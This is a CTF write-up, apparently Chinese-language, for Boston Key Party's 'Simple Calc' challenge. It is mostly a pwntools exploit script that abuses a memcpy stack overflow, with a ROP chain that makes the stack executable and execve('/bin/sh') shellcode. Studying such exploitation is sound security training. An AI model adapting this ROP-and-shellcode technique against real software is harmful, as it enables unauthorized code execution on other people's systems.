Bostonkey Simple calc

Simple Calc

明显的memcpy栈溢出，是一个静态链接的程序所以没给libc。发现里面有：

参数a1应该为_libc_stack_end的地址了。_stack_prot通过rop修改为0x7即111b，这样的话stack就是可执行的了，然后就可以执行shellcode啦！

 #!/usr/bin/python
 from pwn import *
 import time
 #wah

 #context.log_level = 'debug'
 #s = remote('simplecalc.bostonkey.party',5400, timeout=2)
 s = remote('127.0.0.1',10001)
 time.sleep(1)
 print 'pwn-calc pid is %d' % pwnlib.util.proc.pidof('pwn-calc')[0]
 raw_input('go!')

 def add(x,y):
     s.recvuntil('=> ', timeout=2)
     s.sendline('')
     s.recvuntil('Integer x: ', timeout=2)
     s.sendline(x)
     s.recvuntil('Integer y: ', timeout=2)
     s.sendline(y)
 def sub(x,y):
     s.recvuntil('=> ', timeout=2)
     s.sendline('')
     s.recvuntil('Integer x: ', timeout=2)
     s.sendline(x)
     s.recvuntil('Integer y: ', timeout=2)
     s.sendline(y)
 def div(x,y):
     s.recvuntil('=> ', timeout=2)
     s.sendline('')
     s.recvuntil('Integer x: ', timeout=2)
     s.sendline(x)
     s.recvuntil('Integer y: ', timeout=2)
     s.sendline(y)
 rop = ''
 rop += p32(0x31)    #fake heap head
 rop += 11*p32(500)
 rop += p64(0x6C4AA0)    #divresult to bypass free()
 rop += p32(500)*4

 rop += p64(0x4b8f17)    #pop rcx; ret
 rop += p64(0x6C0FE0)    #__stack_prot
 rop += p64(0x474a83)    #pop rax; ret
 rop += p64(0xffffffffffffffff)    #-1
 rop += 8*p64(0x00463b90)    #add rax,1;ret
 rop += p64(0x40f50b)    #add BYTE PTR [rcx],al; ret
 rop += p64(0x00463600)    #pop rdi; ret
 rop += p64(0x6C0F88)    #__libc_stack_end
 rop += p64(0x4717E0)    #_dl_make_stack_executable
 rop += p64(0x44282a)    #call rsp

 shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
 rop += shellcode

 payloadlen = len(rop)
 print 'payload len is %d' % len(rop)
 #print rop.encode('hex')

 remaind = payloadlen %4
 padlen = payloadlen + 4-remaind
 formats = '{:' + '\x01' + '<' + str(padlen) + '}'
 payload = formats.format(rop)
 #print payload.encode('hex')

 s.recvuntil('Expected number of calculations: ', timeout=2)
 s.sendline(str(padlen/4 + 1))

 tmp = 0x30
 for i in range(padlen/4):
     #print '%d round' % (i+1)
     num = u32(payload[4*i:4*(i+1)])
     #print hex(num)
     if num == 0x31:
         div(str(0x31*0x31), str(0x31))    #to bypass free
     elif num <= 0x27:
         sub(str(num+0x30),str(0x30))
     elif num >= 0x70000000:
         add(str(num-0x70000000),str(0x70000000))
     else:
         add(str(num-0x30),str(0x30))
 s.recvuntil('=> ', timeout=2)
 s.sendline('')
 s.interactive()